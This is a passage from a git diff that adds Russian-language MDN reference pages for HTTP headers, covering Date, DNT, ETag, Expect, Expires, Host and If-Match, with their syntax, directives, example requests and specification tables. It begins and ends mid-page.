+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate">Content-Type: text/html; charset=utf-8
+Content-Type: multipart/form-data; boundary=something
+</pre>
+
+<h2 id="Директивы">Директивы</h2>
+
+<dl>
+ <dt><code>media-type</code></dt>
+ <dd><a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types">MIME тип</a> ресурса или данных.</dd>
+ <dt>charset</dt>
+ <dd>Используемая кодировка.</dd>
+ <dt>boundary</dt>
+ <dd>Директива <code>boundary</code> обязательна для составных сущностей. Она содержит от 1 до 70 символов (не должна заканчиваться пробелом), которые без искажений пройдут через шлюзы email и служит для корректной инкапсуляции всех частей составной сущности.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Content-Type_в_HTML_формах"><code>Content-Type</code> в HTML формах</h3>
+
+<p>В {{HTTPMethod("POST")}} запросе, сгенерированном в результате отправки HTML формы, <code>Content-Type</code> запроса определяется в атрибуте <code>enctype</code> тега {{HTMLElement("form")}}.</p>
+
+<pre class="brush: html notranslate">&lt;form action="/" method="post" enctype="multipart/form-data"&gt;
+  &lt;input type="text" name="description" value="some text"&gt;
+  &lt;input type="file" name="myFile"&gt;
+  &lt;button type="submit"&gt;Submit&lt;/button&gt;
+&lt;/form&gt;
+</pre>
+
+<p>Запрос в этом случае может выглядеть так (менее интересные заголовки опущены):</p>
+
+<pre class="notranslate">POST /foo HTTP/1.1
+Content-Length: 68137
+Content-Type: multipart/form-data; boundary=---------------------------974767299852498929531610575
+
+-----------------------------974767299852498929531610575
+Content-Disposition: form-data; name="description"
+
+some text
+-----------------------------974767299852498929531610575
+Content-Disposition: form-data; name="myFile"; filename="foo.txt"
+Content-Type: text/plain
+
+(content of the uploaded file foo.txt)
+-----------------------------974767299852498929531610575--
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Заголовок</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7233", "Content-Type in multipart", "4.1")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Range Requests</td>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "Content-Type", "3.1.1.5")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.Content-Type")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{HTTPHeader("Accept")}} and {{HTTPHeader("Accept-Charset")}}</li>
+ <li>{{HTTPHeader("Content-Disposition")}}</li>
+ <li>{{HTTPStatus("206")}} Partial Content</li>
+ <li>{{HTTPHeader("X-Content-Type-Options")}}</li>
+</ul>
diff --git a/files/ru/web/http/заголовки/date/index.html b/files/ru/web/http/заголовки/date/index.html
new file mode 100644
index 0000000000..7dded6ea77
--- /dev/null
+++ b/files/ru/web/http/заголовки/date/index.html
@@ -0,0 +1,86 @@
+---
+title: Date
+slug: Web/HTTP/Заголовки/Date
+tags:
+  - HTTP
+  - Reference
+  - Заголовок
+  - Основной заголовок
+translation_of: Web/HTTP/Headers/Date
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><strong><code>Date</code></strong> основной HTTP заголовок содержащий дату и время, в которое сообщение было создано.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Тип заголовка</th>
+   <td>{{Glossary("Основной")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Запрещенное имя заголовка")}}</th>
+   <td>да</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate">Date: &lt;day-name&gt;, &lt;day&gt; &lt;month&gt; &lt;year&gt; &lt;hour&gt;:&lt;minute&gt;:&lt;second&gt; GMT
+</pre>
+
+<h2 id="Директивы">Директивы</h2>
+
+<dl>
+ <dt>&lt;day-name&gt;</dt>
+ <dd>Одно из "Mon", "Tue", "Wed", "Thu", "Fri", "Sat", или "Sun" (регистро-зависимое значение).</dd>
+ <dt>&lt;day&gt;</dt>
+ <dd>Номер дня с ведущим нулем, например "04" или "23".</dd>
+ <dt>&lt;month&gt;</dt>
+ <dd>Один из "Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec" (регистро-зависимое значение).</dd>
+ <dt>&lt;year&gt;</dt>
+ <dd>Год из 4-х символов, например "1990" или "2016".</dd>
+ <dt>&lt;hour&gt;</dt>
+ <dd>Часы с ведущим нулем, например "09" или "23".</dd>
+ <dt>&lt;minute&gt;</dt>
+ <dd>Минуты с ведущим нулем, например "04" или "59".</dd>
+ <dt>&lt;second&gt;</dt>
+ <dd>Секунды с ведущим нулем, например "04" или "59".</dd>
+ <dt>GMT</dt>
+ <dd>
+ <p>Время по Гринвичу. HTTP даты всегда представлены в GMT, а не в локальном времени</p>
+ </dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="notranslate">Date: Wed, 21 Oct 2015 07:28:00 GMT
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Название</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "Date", "7.1.1.2")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p class="hidden">Таблица сравнения на текущей странице сгенерированна из данных хранящихся в <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>. Если вы желаете внести изменения в данные - отправьте нам pull request.</p>
+
+<p>{{Compat("http.headers.Date")}}</p>
+
+<h2 id="Смотрите_так_же">Смотрите так же</h2>
+
+<ul>
+ <li>{{HTTPHeader("Age")}}</li>
+</ul>
diff --git a/files/ru/web/http/заголовки/dnt/index.html b/files/ru/web/http/заголовки/dnt/index.html
new file mode 100644
index 0000000000..a4e7f56864
--- /dev/null
+++ b/files/ru/web/http/заголовки/dnt/index.html
@@ -0,0 +1,83 @@
+---
+title: DNT
+slug: Web/HTTP/Заголовки/DNT
+translation_of: Web/HTTP/Headers/DNT
+---
+<p>{{HTTPSidebar}}</p>
+
+<p>The <strong><code>DNT</code></strong> (<strong>D</strong>o <strong>N</strong>ot <strong>T</strong>rack - Не отслеживать) заголовок указывает разрешает ли пользователь отслеживать себя. Он позволяет пользователю указать предпочитают они приватность персонифицированному контенту, подготавливаемому с использованием отслеживания.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Header type</th>
+   <td>{{Glossary("Request header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>yes</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">DNT: 0
+DNT: 1
+</pre>
+
+<h2 id="Директивы">Директивы</h2>
+
+<dl>
+ <dt>0</dt>
+ <dd>Пользователь разрешает отслеживание на целевом сайте.</dd>
+ <dt>1</dt>
+ <dd>Пользователь предпочитает не остлеживаться на целевом сайте.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Чтение_статуса_Do_Not_Track_из_JavaScript">Чтение статуса Do Not Track из JavaScript</h3>
+
+<p>DNT предпочтение пользвователя может быть считано из JavaScript используя свойство {{domxref("Navigator.doNotTrack")}} :</p>
+
+<pre class="brush: js">navigator.doNotTrack; // "0" or "1"</pre>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Tracking','#dnt-header-field', 'DNT Header Field for HTTP Requests')}}</td>
+   <td>{{Spec2("Tracking")}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_браузеров">Совместимость браузеров</h2>
+
+<p class="hidden">Таблица совместимости на этой странице сгенерирована из структурированных данных. Если вы хотите внести свой вклад, пожалуйста, проверьте <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос (pull request).</p>
+
+<p>{{Compat("http.headers.DNT")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("Navigator.doNotTrack")}}</li>
+ <li>{{HTTPHeader("Tk")}} header</li>
+ <li><a href="https://en.wikipedia.org/wiki/Do_Not_Track">Do Not Track on Wikipedia</a></li>
+ <li><a href="https://www.eff.org/deeplinks/2011/02/what-does-track-do-not-track-mean">What Does the "Track" in "Do Not Track" Mean? – EFF</a></li>
+ <li><a href="http://donottrack.us/">donottrack.us</a></li>
+ <li>DNT browser settings help:
+  <ul>
+   <li><a href="https://www.mozilla.org/en-US/firefox/dnt/">Firefox</a></li>
+   <li><a href="https://support.google.com/chrome/answer/2790761">Chrome</a></li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/ru/web/http/заголовки/etag/index.html b/files/ru/web/http/заголовки/etag/index.html
new file mode 100644
index 0000000000..f64994ee97
--- /dev/null
+++ b/files/ru/web/http/заголовки/etag/index.html
@@ -0,0 +1,98 @@
+---
+title: ETag
+slug: Web/HTTP/Заголовки/ETag
+translation_of: Web/HTTP/Headers/ETag
+---
+<div> {{HTTPSidebar}}</div>
+
+<p><code><font face="Arial, x-locale-body, sans-serif"><span style="background-color: #ffffff;">Заголовок HTTP ответа </span></font><strong>ETag</strong></code> является идентификатором специфической версии ресурса. Он позволяет более эффективно использовать кеш и сохраняет пропускную способность, позволяя серверу отправлять не весь ответ, если содержимое не изменилось. С другой стороны, если контент все-так поменялся, <code>Etag</code> помогает предотвратить одновременное обновление ресурса от перезаписи друг друга ("воздушная коллизия").</p>
+
+<p>Если ресурс по заданному URL изменился, будет сгенерированно новое значение <code>Etag</code>. Поэтому <code>Etag</code> чем-то похож на отпечаток ("fingerprints") и может также быть использован для отслеживания предназначения некоторых серверов. Сравнение этих заголовков позволяет быстро определить являются ли два представления ресурса одними и теме же. Отслеживаемый сервер также может задать сохранять их постоянно.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Тип заголовка</th>
+   <td>{{Glossary("Заголовок ответа")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Запрещенное имя заголовка")}}</th>
+   <td>нет</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">ETag: W/"&lt;etag_value&gt;"
+ETag: "&lt;etag_value&gt;"
+</pre>
+
+<h2 id="Директивы">Директивы</h2>
+
+<dl>
+ <dt><code>W/</code> {{optional_inline}}</dt>
+ <dd><code>'W/'</code> (чувствителен к регистру) указывает, что используется <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Conditional_requests#Weak_validation">слабый валидатор</a>. Слабые валидаторы легко сгенерировать, но они намного реже используются для сравнения. Сильные валидаторы идеальны для сравнения, но их может быть очень сложно сгенерировать эффективно. Слабое значение <code>Etag</code> двух представлений одного и того же ресурса может быть семантически одинаково, но не байт-в-байт.</dd>
+ <dt>"&lt;etag_value&gt;"</dt>
+ <dd>Тэг сущности, уникально представляющий запрашиваемый ресурс. Это строка ASCII кодов, заключенная в двойные кавычки (например, <code>"675af34563dc-tr34"</code>). Метод, по которому генерируются значения <code>ETag</code>, не определен. Обычно, используется хэш контента, хэш последнего времени модификации или просто номер ревизии. Например, MDN использует шестнадцатиричных хэш wiki-содержимого.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre>ETag: "33a64df551425fcc55e4d42a148795d9f25f89d4"
+ETag: W/"0815"</pre>
+
+<h3 id="Как_избежать_коллизий_в_процессе_работы_приложения">Как избежать коллизий в процессе работы приложения</h3>
+
+<p>С помощью заголовков <code>ETag</code> и {{HTTPHeader("If-Match")}}, существует возможность обнаружить коллизии в процессе работы приложения.</p>
+
+<p>Например, при редактировании MDN, текущее содержимое статьи захэшировано и помещено в ответ при помощи заголовока <code>Etag</code>:</p>
+
+<pre>ETag: "33a64df551425fcc55e4d42a148795d9f25f89d4"</pre>
+
+<p>При сохранении изменений в статье (данные отправляются), {{HTTPMethod("POST")}} запрос будет содержать заголовок {{HTTPHeader("If-Match")}}, значение которого эквивалетно значению <code>ETag</code>. Это позволяет проверить актуальность данных.</p>
+
+<pre>If-Match: "33a64df551425fcc55e4d42a148795d9f25f89d4"</pre>
+
+<p>Если хэши из заголовков не совпадают, это означает что данные уже были изменены между запросами (in-between) и будет возвращена ошибка {{HTTPStatus("412")}} <code>Precondition Failed</code>.</p>
+
+<h3 id="Кэширование_неизменямых_ресурсов">Кэширование неизменямых ресурсов</h3>
+
+<p>Другая типичная ситуация для использования <code>ETag</code> — кэширование ресурсов, которые не будут изменяться. Если пользователь повторно посещает URL-адрес (с установленным заголовком <code>ETag</code>), и при этом данные слишком устарели и не могут быть использованы, тогда клиент отправит значение <code>ETag</code> внутри заголовка {{HTTPHeader("If-None-Match")}}:</p>
+
+<pre>If-None-Match: "33a64df551425fcc55e4d42a148795d9f25f89d4"</pre>
+
+<p>После чего сервер сравнит клиентский <code>ETag</code> (отправленный с помощью <code>If-None-Match</code>) с <code>ETag</code> для текущей версии ресурса и, если их значения совпадают (т.е. ресурсы не были изменены), сервер вернет статус {{HTTPStatus("304")}}<code> Not Modified</code>, без тела ответа. Такой ответ сервера сообщает клиенту, что закэшированная версия ресурса актуальна и готова к использованию.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Title</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7232", "ETag", "2.3")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Conditional Requests</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.ETag")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{HTTPHeader("If-Match")}}</li>
+ <li>{{HTTPHeader("If-None-Match")}}</li>
+ <li>{{HTTPStatus("304")}}<code> Not Modified</code></li>
+ <li>{{HTTPStatus("412")}}<code> Precondition Failed</code></li>
+ <li>
+  <p><a href="https://www.w3.org/1999/04/Editing/">W3C Note: Editing the Web – Detecting the Lost Update Problem Using Unreserved Checkout</a></p>
+ </li>
+</ul>
diff --git a/files/ru/web/http/заголовки/expect/index.html b/files/ru/web/http/заголовки/expect/index.html
new file mode 100644
index 0000000000..80a785befa
--- /dev/null
+++ b/files/ru/web/http/заголовки/expect/index.html
@@ -0,0 +1,87 @@
+---
+title: Expect
+slug: Web/HTTP/Заголовки/Expect
+translation_of: Web/HTTP/Headers/Expect
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Запрос "HTTP Expect" указывает ожидания, которые должен выполнить сервер, чтобы правильно обработать запрос.</p>
+
+<p>Единственным ожиданием, определенным в спецификации, является "Expect: 100-continue", на который сервер должен ответить:</p>
+
+<ul>
+ <li>{{HTTPStatus("100")}} если информации, содержащейся в заголовке, достаточно, чтобы вызвать немедленный успех,</li>
+ <li>{{HTTPStatus("417")}} (Expectation Failed) если он не может удовлетворить ожидания; или любой другой статус 4xx..</li>
+</ul>
+
+<p>Например, сервер может отклонить запрос, если его {{HTTPHeader("Content-Length")}} слишком большой.</p>
+
+<p>Обычные браузеры не отправляют заголовок Expect, но некоторые другие , такие как cURL, делают это по умолчанию.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Header type</th>
+   <td>{{Glossary("Request header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>no</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<p>Никаких других ожиданий, кроме «100-continue», не указано</p>
+
+<pre class="syntaxbox">Expect: 100-continue
+</pre>
+
+<h2 id="Директивы">Директивы</h2>
+
+<dl>
+ <dt>100-continue</dt>
+ <dd>Сообщает получателям, что клиент собирается отправить (по-видимому большой) тело сообщения в этот запрос и хочет получить промежуточный ответ  {{HTTPStatus("100")}} (Continue).</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Большой_текст_сообщения">Большой текст сообщения</h3>
+
+<p>Клиент отправляет запрос с заголовком Expect и ожидает ответа сервера перед отправкой тела сообщения.</p>
+
+<pre>PUT /somewhere/fun HTTP/1.1
+Host: origin.example.com
+Content-Type: video/h264
+Content-Length: 1234567890987
+Expect: 100-continue
+</pre>
+
+<p>Сервер теперь проверяет  запрос и может ответить с ответом {{HTTPStatus("100")}} (Continue), чтобы дать клиенту указание продолжить и отправить тело сообщения, или он отправит  {{HTTPStatus("417")}} (Expectation Failed), если какие-либо из ожиданий не могут быть выполнены.</p>
+
+<h2 id="Характеристики">Характеристики</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Название</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "Expect", "5.1.1")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузером">Совместимость с браузером</h2>
+
+<p>Известно, что обычные браузеры не отправляют этот заголовок.</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{HTTPStatus("417")}}<code> Expectation Failed</code></li>
+ <li>{{HTTPStatus("100")}}<code> Continue</code></li>
+</ul>
diff --git a/files/ru/web/http/заголовки/expires/index.html b/files/ru/web/http/заголовки/expires/index.html
new file mode 100644
index 0000000000..2d946f0724
--- /dev/null
+++ b/files/ru/web/http/заголовки/expires/index.html
@@ -0,0 +1,80 @@
+---
+title: Expires
+slug: Web/HTTP/Заголовки/Expires
+tags:
+  - HTTP
+  - Заголовки
+  - Кеширование
+  - Ответ сервера
+translation_of: Web/HTTP/Headers/Expires
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Заголовок <code><strong>Expires</strong></code><strong> </strong>содержит дату/время, по истечении которой ответ сервера считается устаревшим.</p>
+
+<p>Прошедшая или невалидная дата, например 0, обозначает, что ресурс уже устарел.</p>
+
+<p>Если в ответе с сервера установлен заголовок {{HTTPHeader("Cache-Control")}} с директивами "max-age" или "s-maxage" , заголовок <code>Expires</code> игнорируется. </p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Тип заголовка</th>
+   <td>{{Glossary("Response header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name", "Запрещенное имя заголовка")}}</th>
+   <td>нет</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Simple response header", "CORS безопасный заголовок ")}}</th>
+   <td>да</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Синтакс">Синтакс</h2>
+
+<pre class="syntaxbox notranslate">Expires: &lt;http-date&gt;
+</pre>
+
+<h2 id="Директивы">Директивы</h2>
+
+<dl>
+ <dt>&lt;http-date&gt;</dt>
+ <dd>
+ <p>HTTP-дата и время.</p>
+ </dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="notranslate">Expires: Wed, 21 Oct 2015 07:28:00 GMT</pre>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Название</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7234", "Expires", "5.3")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Caching</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_браузера">Совместимость браузера</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http/headers/expires")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{HTTPHeader("Cache-Control")}}</li>
+ <li>{{HTTPHeader("Age")}}</li>
+</ul>
diff --git a/files/ru/web/http/заголовки/host/index.html b/files/ru/web/http/заголовки/host/index.html
new file mode 100644
index 0000000000..4b99e7233c
--- /dev/null
+++ b/files/ru/web/http/заголовки/host/index.html
@@ -0,0 +1,72 @@
+---
+title: Host
+slug: Web/HTTP/Заголовки/Host
+translation_of: Web/HTTP/Headers/Host
+---
+<div>{{HTTPSidebar}}</div>
+
+
+
+<p>Заголовок <strong>Host</strong> содержит имя домена, для которого предназначен запрос и, опционально, номер порта.</p>
+
+<p>Если порт не указан, то используется умолчательный порт протокола/сервиса (например «80» для HTTP, "443" для HTTPS и т.д.).</p>
+
+<p>Каждый HTTP/1.1 запрос должен содержать один и только один заголовок <strong>Host</strong>, в ином случае ответ будет с кодом статуса {{HTTPStatus("400")}}  (Bad Request).</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Тип заголовка</th>
+   <td>{{Glossary("Request header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}} Неизменяемый</th>
+   <td>да</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Синтакс">Синтакс</h2>
+
+<pre class="syntaxbox">Host: &lt;host&gt;:&lt;port&gt;
+</pre>
+
+<h2 id="Обозначения">Обозначения</h2>
+
+<dl>
+ <dt>&lt;host&gt;</dt>
+ <dd>доменное имя сервера</dd>
+ <dt>&lt;port&gt; {{optional_inline}}</dt>
+ <dd>номер порта</dd>
+</dl>
+
+<h2 id="Пример">Пример</h2>
+
+<pre>Host: developer.cdn.mozilla.net</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Стандарт/спецификация</th>
+   <th scope="col">Название</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7230", "Host", "5.4")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_браузеров">Совместимость браузеров</h2>
+
+<p class="hidden">Таблица совместимости на этой странице была сгенерирована из автоматически собранных данных. Если вы хотите дополнить или исправить эти данные, то оформите пожалуйста pull-request в проекте <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> </p>
+
+<p>{{Compat("http.headers.Host")}}</p>
+
+<h2 id="См._ещё">См. ещё</h2>
+
+<ul>
+ <li>{{HTTPStatus("400")}}</li>
+</ul>
diff --git a/files/ru/web/http/заголовки/if-match/index.html b/files/ru/web/http/заголовки/if-match/index.html
new file mode 100644
index 0000000000..e2c403a90f
--- /dev/null
+++ b/files/ru/web/http/заголовки/if-match/index.html
@@ -0,0 +1,86 @@
+---
+title: If-Match
+slug: Web/HTTP/Заголовки/If-Match
+translation_of: Web/HTTP/Headers/If-Match
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Заголовок HTTP-запроса <strong><code>If-Match</code></strong> делает запрос условным. Для методов {{HTTPMethod("GET")}} и {{HTTPMethod("HEAD")}} сервер отправляет запрошенный ресурс только в том случае, если он соответствует одному из перечисленных <strong>ETags</strong>. Для {{HTTPMethod("PUT")}} и других небезопасных методов он будет загружать только ресурс в этом случае.</p>
+
+<p>Сравнение с хранимым {{HTTPHeader("ETag")}} использует сильный алгоритм сравнения, то есть два файла считаются одинаковыми байтами только байтом. Это ослабляется, когда префикс <strong><code>W/</code></strong>используется перед <strong>ETag.</strong></p>
+
+<p>Существует два распространенных варианта использования:</p>
+
+<ul>
+ <li>Для методов {{HTTPMethod("GET")}} и {{HTTPMethod("HEAD")}}, используемых в сочетании с {{HTTPHeader("Range")}}, он может гарантировать, что запрашиваемые новые диапазоны с того же ресурса, что и предыдущий. Если он не соответствует, то возвращается ответ {{HTTPStatus("416")}} (Range Not Satisfiable).</li>
+ <li>Для других методов и, в частности, для {{HTTPMethod("PUT")}},<strong> If-Match</strong> может использоваться для предотвращения проблемы с потерянным обновлением. Он может проверить, не изменит ли изменение ресурса, которое пользователь хочет загрузить, другое изменение, которое было выполнено с момента извлечения исходного ресурса. Если запрос не может быть выполнен, возвращается ответ  {{HTTPStatus("412")}} (Precondition Failed).</li>
+</ul>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Header type</th>
+   <td>{{Glossary("Request header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>no</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">If-Match: &lt;etag_value&gt;
+If-Match: &lt;etag_value&gt;, &lt;etag_value&gt;, …
+</pre>
+
+<h2 id="Директивы">Директивы</h2>
+
+<dl>
+ <dt>&lt;etag_value&gt;</dt>
+ <dd>Теги объектов, однозначно представляющие запрошенные ресурсы. Они представляют собой строку символов ASCII, помещенных между двойными кавычками (например, <strong>"675af34563dc-tr34"</strong>) и могут быть префиксами<strong> W/</strong>, чтобы указать, что следует использовать слабый алгоритм сравнения.</dd>
+ <dt><code>*</code></dt>
+ <dd>Звездочка представляет собой специальное значение, представляющее любой ресурс.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre>If-Match: "bfc13a64729c4290ef5b2c2730249c88ca92d82d"
+
+If-Match: W/"67ab43", "54ed21", "7892dd"
+
+If-Match: *
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификвция</th>
+   <th scope="col">Название</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7232", "If-Match", "3.1")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Conditional Requests</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузером">Совместимость с браузером</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http/headers/if-match")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{HTTPHeader("ETag")}}</li>
+ <li>{{HTTPHeader("If-Unmodified-Since")}}</li>
+ <li>{{HTTPHeader("If-Modified-Since")}}</li>
+ <li>{{HTTPHeader("If-None-Match")}}</li>
+ <li>{{HTTPStatus("416")}}<code> Range Not Satisfiable</code></li>
+ <li>{{HTTPStatus("412")}}<code> Precondition Failed</code></li>
+</ul>
diff --git a/files/ru/web/http/заголовки/if-modified-since/index.html b/files/ru/web/http/заголовки/if-modified-since/index.html
new file mode 100644
index 0000000000..28769b20ae
--- /dev/null
+++ b/files/ru/web/http/заголовки/if-modified-since/index.html
@@ -0,0 +1,94 @@
+---
+title: If-Modified-Since
+slug: Web/HTTP/Заголовки/If-Modified-Since
+tags:
+  - HTTP
+  - Заголовки HTTP
+  - Заголовки запроса
+  - Условные запросы
+translation_of: Web/HTTP/Headers/If-Modified-Since
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Заголовок HTTP запроса <strong><code>If-Modified-Since</code></strong> делает запрос условным: сервер отправит обратно запрошенный ресурс с статусом {{HTTPStatus("200")}}, только если он был изменен после указанной даты. Если запрос не был изменен после указанной даты, ответ будет {{HTTPStatus("304")}} без какого-либо тела; заголовок {{HTTPHeader("Last-Modified")}} при этом будет содержать дату последней модификации. В отличие от {{HTTPHeader("If-Unmodified-Since")}}, <code>If-Modified-Since</code> может использоваться только с {{HTTPMethod("GET")}} или {{HTTPMethod("HEAD")}}.</p>
+
+<p>При использовании в сочетании с {{HTTPHeader("If-None-Match")}} заголовок <code>If-Modified-Since</code> игнорируется, кроме тех случаев, когда сервер не поддерживает If-None-Match.</p>
+
+<p>Наиболее распространенным вариантом использования является обновление кэшированного объекта, не связанного с {{HTTPHeader("ETag")}}.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Header type</th>
+   <td>{{Glossary("Request header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>no</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">If-Modified-Since: &lt;day-name&gt;, &lt;day&gt; &lt;month&gt; &lt;year&gt; &lt;hour&gt;:&lt;minute&gt;:&lt;second&gt; GMT
+</pre>
+
+<h2 id="Директивы">Директивы</h2>
+
+<dl>
+ <dt>&lt;day-name&gt;</dt>
+ <dd>День недели ("Mon", "Tue", "Wed", "Thu", "Fri", "Sat" или "Sun") с учётом регистра.</dd>
